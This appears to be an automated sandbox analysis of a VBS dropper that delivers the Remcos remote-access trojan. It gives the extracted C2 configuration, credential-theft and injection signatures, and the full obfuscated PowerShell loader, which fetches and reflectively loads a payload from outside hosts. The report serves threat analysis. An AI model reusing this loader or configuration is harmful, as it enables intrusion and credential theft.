Analysis
-
max time kernel
148s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
12-11-2024 10:45
Static task
static1
Behavioral task
behavioral1
Sample
seemebestthingsonthepartofworldwhichgrrweatfor.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
seemebestthingsonthepartofworldwhichgrrweatfor.vbs
Resource
win10v2004-20241007-en
General
-
Target
seemebestthingsonthepartofworldwhichgrrweatfor.vbs
-
Size
139KB
-
MD5
1860dcae987d5ed903d93a6cfc698eaf
-
SHA1
aaee36eb86bd7c80fd0ae9328bea5650f8c74d12
-
SHA256
d72fec7ef303edc51d89e59e92743962f4f742d4678f4d01cafb1a110741efb3
-
SHA512
73befb8642d5c9828c6d67bcbcb4b6128410c07e2abbef7ae65a3fa4fc067ee50e7c9c81cf1e2f2b56ddd8cbfa94f20bf56ce3e8848d7a9403a14c8de6d22742
-
SSDEEP
1536:ewGqea2fZl3q7dC9dpNKVLmlxmxfxGgymuQqDcsCDYgt5pzTNoloGwm:+a2xla7dkdp4saxfwgyRQqDNgt5ptGwm
Malware Config
Extracted
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f
Extracted
remcos
RemoteHost
wayo.duckdns.org:6847
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-Z90JT3
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Remcos family
-
Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral2/memory/1824-50-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/2824-49-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/3960-55-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral2/memory/2824-49-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral2/memory/1824-50-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Blocklisted process makes network request 2 IoCs
flow pid Process 9 3560 powershell.exe 20 3560 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 4276 powershell.exe 3560 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation WScript.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts CasPol.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 3560 set thread context of 4552 3560 powershell.exe 101 PID 4552 set thread context of 1824 4552 CasPol.exe 105 PID 4552 set thread context of 2824 4552 CasPol.exe 106 PID 4552 set thread context of 3960 4552 CasPol.exe 107 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe -
Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 4276 powershell.exe 4276 powershell.exe 3560 powershell.exe 3560 powershell.exe 3560 powershell.exe 3560 powershell.exe 1824 CasPol.exe 1824 CasPol.exe 3960 CasPol.exe 3960 CasPol.exe 1824 CasPol.exe 1824 CasPol.exe -
Suspicious behavior: MapViewOfSection 5 IoCs
pid Process 4552 CasPol.exe 4552 CasPol.exe 4552 CasPol.exe 4552 CasPol.exe 4552 CasPol.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4276 powershell.exe Token: SeDebugPrivilege 3560 powershell.exe Token: SeDebugPrivilege 3960 CasPol.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4552 CasPol.exe -
Suspicious use of WriteProcessMemory 35 IoCs
description pid Process procid_target PID 4992 wrote to memory of 4276 4992 WScript.exe 85 PID 4992 wrote to memory of 4276 4992 WScript.exe 85 PID 4276 wrote to memory of 3560 4276 powershell.exe 87 PID 4276 wrote to memory of 3560 4276 powershell.exe 87 PID 3560 wrote to memory of 3032 3560 powershell.exe 100 PID 3560 wrote to memory of 3032 3560 powershell.exe 100 PID 3560 wrote to memory of 3032 3560 powershell.exe 100 PID 3560 wrote to memory of 4552 3560 powershell.exe 101 PID 3560 wrote to memory of 4552 3560 powershell.exe 101 PID 3560 wrote to memory of 4552 3560 powershell.exe 101 PID 3560 wrote to memory of 4552 3560 powershell.exe 101 PID 3560 wrote to memory of 4552 3560 powershell.exe 101 PID 3560 wrote to memory of 4552 3560 powershell.exe 101 PID 3560 wrote to memory of 4552 3560 powershell.exe 101 PID 3560 wrote to memory of 4552 3560 powershell.exe 101 PID 3560 wrote to memory of 4552 3560 powershell.exe 101 PID 3560 wrote to memory of 4552 3560 powershell.exe 101 PID 4552 wrote to memory of 4948 4552 CasPol.exe 103 PID 4552 wrote to memory of 4948 4552 CasPol.exe 103 PID 4552 wrote to memory of 4948 4552 CasPol.exe 103 PID 4552 wrote to memory of 4640 4552 CasPol.exe 104 PID 4552 wrote to memory of 4640 4552 CasPol.exe 104 PID 4552 wrote to memory of 4640 4552 CasPol.exe 104 PID 4552 wrote to memory of 1824 4552 CasPol.exe 105 PID 4552 wrote to memory of 1824 4552 CasPol.exe 105 PID 4552 wrote to memory of 1824 4552 CasPol.exe 105 PID 4552 wrote to memory of 1824 4552 CasPol.exe 105 PID 4552 wrote to memory of 2824 4552 CasPol.exe 106 PID 4552 wrote to memory of 2824 4552 CasPol.exe 106 PID 4552 wrote to memory of 2824 4552 CasPol.exe 106 PID 4552 wrote to memory of 2824 4552 CasPol.exe 106 PID 4552 wrote to memory of 3960 4552 CasPol.exe 107 PID 4552 wrote to memory of 3960 4552 CasPol.exe 107 PID 4552 wrote to memory of 3960 4552 CasPol.exe 107 PID 4552 wrote to memory of 3960 4552 CasPol.exe 107
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\seemebestthingsonthepartofworldwhichgrrweatfor.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4992 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHZFcmJvc2VQckVGZXJFTkNFLlRvU1RSSW5nKClbMSwzXSsnWCctSm9pTicnKSgoKCdJY3BpbWFnZVVybCA9IE9BSWh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2QnKyc5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgT0FJO0ljcHdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SWNwaW1hZ2VCeXRlcyA9IEljcHdlYkNsaWVudCcrJy5Eb3dubG9hZERhdGEoSWNwaW1hZ2VVcmwpO0ljcGltYScrJ2dlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVUJysnRjguR2V0U3RyaW5nKEljcGltYWdlQnl0ZXMpO0ljcHN0YXJ0RmxhZyA9IE9BSTw8QkFTRTY0X1NUQVJUPj5PQUk7SWNwZW5kRmxhZyA9IE9BSTw8QkFTRTY0X0VORD4+T0FJO0ljcHN0YXJ0SW4nKydkZXggPSBJY3BpbWFnZVRleHQuSW5kZXhPZihJY3BzdGFydEZsYWcpO0ljcGVuZEluZGV4ID0gJysnSWNwaW1hZ2VUZXh0LkluZGV4T2YoSWNwZW5kRmxhZyknKyc7SWNwc3RhcnRJbmRleCAtZ2UgMCAtYW5kIEljcGVuZEluZGV4IC1ndCBJY3BzdGFydEluZGV4O0ljcHN0YXJ0SW5kZXggKz0gSWNwc3RhcnRGbGFnLkxlbicrJ2d0aDtJY3BiYXNlNjRMZW5ndGggPSBJY3BlbmRJbmRleCAtIEljcHN0YScrJ3J0SW4nKydkZXg7SWNwYmEnKydzZTY0Q29tbWFuZCA9IEljcGltYWdlVGV4dC5TdWJzdHJpbmcoSWNwc3RhcnRJbmRleCwgSWNwYmFzZTY0TGVuZ3RoKTtJY3BiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChJY3BiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMTR1IEZvckVhY2gtTycrJ2JqZWN0IHsgSWNwXyB9KVstMScrJy4uLShJY3BiYXNlNjRDb21tYW5kLkxlbicrJ2d0aCldO0ljcGNvbW1hbmRCeXRlcyA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSWNwYmFzZTYnKyc0UmV2ZXJzZWQpO0ljcGxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChJY3AnKydjb21tYW5kQnl0ZXMpO0ljJysncHZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoT0FJVkFJT0FJKTtJY3B2JysnYWlNZXRobycrJ2QuSW52b2tlKEljcG51bGwsIEAnKycoTycrJ0FJdHh0LkRFRERFV0VTLzU1LzI5MS44NzEuNjQuODkxLy86cHR0aE9BSSwnKycgT0FJZGUnKydzYXRpdmFkb09BSSwgT0FJZGVzYXRpdmEnKydkb09BSSwgT0FJZGVzYXRpdmFkb09BSSwgT0FJQ2EnKydzUG9sT0FJLCAnKydPQUlkZXNhdGl2YWRvT0FJLCBPQUlkZXNhdGl2YWRvT0FJLE9BSWRlc2F0aXZhZG9PQUksT0FJZGVzYXRpdmFkb09BSSxPQUlkZXNhdGl2YWRvT0FJLE9BSWRlc2F0aXZhZG9PQUksT0FJZGVzYXRpdmFkb09BSSxPQUkxT0FJLE9BSWRlc2F0aXZhZG9PQUkpKTsnKSAtUmVwTEFjRSAoW0NoYVJdNDkrW0NoYVJdNTIrW0NoYVJdMTE3KSxbQ2hhUl0xMjQgIC1jcmVwbEFDRSdPQUknLFtDaGFSXTM5IC1jcmVwbEFDRShbQ2hhUl03MytbQ2hhUl05OStbQ2hhUl0xMTIpLFtDaGFSXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4276 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $vErbosePrEFerENCE.ToSTRIng()[1,3]+'X'-JoiN'')((('IcpimageUrl = OAIhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd'+'9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f OAI;IcpwebClient = New-Object System.Net.WebClient;IcpimageBytes = IcpwebClient'+'.DownloadData(IcpimageUrl);Icpima'+'geText = [System.Text.Encoding]::UT'+'F8.GetString(IcpimageBytes);IcpstartFlag = OAI<<BASE64_START>>OAI;IcpendFlag = OAI<<BASE64_END>>OAI;IcpstartIn'+'dex = IcpimageText.IndexOf(IcpstartFlag);IcpendIndex = '+'IcpimageText.IndexOf(IcpendFlag)'+';IcpstartIndex -ge 0 -and IcpendIndex -gt IcpstartIndex;IcpstartIndex += IcpstartFlag.Len'+'gth;Icpbase64Length = IcpendIndex - Icpsta'+'rtIn'+'dex;Icpba'+'se64Command = IcpimageText.Substring(IcpstartIndex, Icpbase64Length);Icpbase64Reversed = -join (Icpbase64Command.ToCharArray() 14u ForEach-O'+'bject { Icp_ })[-1'+'..-(Icpbase64Command.Len'+'gth)];IcpcommandBytes = [Syst'+'em.Convert]::FromBase64String(Icpbase6'+'4Reversed);IcploadedAssembly = [System.Reflection.Assembly]::Load(Icp'+'commandBytes);Ic'+'pvaiMethod = [dnlib.IO.Home].GetMethod(OAIVAIOAI);Icpv'+'aiMetho'+'d.Invoke(Icpnull, @'+'(O'+'AItxt.DEDDEWES/55/291.871.64.891//:ptthOAI,'+' OAIde'+'sativadoOAI, OAIdesativa'+'doOAI, OAIdesativadoOAI, OAICa'+'sPolOAI, '+'OAIdesativadoOAI, OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAI1OAI,OAIdesativadoOAI));') -RepLAcE ([ChaR]49+[ChaR]52+[ChaR]117),[ChaR]124 -creplACE'OAI',[ChaR]39 -creplACE([ChaR]73+[ChaR]99+[ChaR]112),[ChaR]36) )"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3560 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"4⤵PID:3032
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"4⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4552 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\diwckcyesxbrgdtuzrevcskseefs"5⤵PID:4948
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\diwckcyesxbrgdtuzrevcskseefs"5⤵PID:4640
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\diwckcyesxbrgdtuzrevcskseefs"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:1824
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\fccnlujgoftwqjpyqcqwfffbnkptbej"5⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:2824
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\qepgmnuacnlatxdczndqqkzsvzhcuoamld"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3960
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
144B
MD54675e06b65658e365611f51e37a2d8d6
SHA1be9b7b9d117bac43bdeb713290c4768a8aeafbcc
SHA256d8a6f43eead9ec817ea0582a727ec6038775676d236dd1f6230d2aacf79894ce
SHA51272e9876cce11a7356693b2aea9fc0e01e907d71b5866159128a86f85c07116f02036960ae7a99abcda7aba34b1503713509ce0dc371d8cc40c6080b1a0fec027
-
Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
-
Filesize
64B
MD55caad758326454b5788ec35315c4c304
SHA13aef8dba8042662a7fcf97e51047dc636b4d4724
SHA25683e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA5124e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
4KB
MD5562a58578d6d04c7fb6bda581c57c03c
SHA112ab2b88624d01da0c5f5d1441aa21cbc276c5f5
SHA256ff5c70287ba432a83f9015209d6e933462edca01d68c53c09882e1e4d22241c8
SHA5123f6e19faa0196bd4c085defa587e664abdd63c25ef30df8f4323e60a5a5aca3cd2709466f772e64ab00fe331d4264841422d6057451947f3500e9252a132254e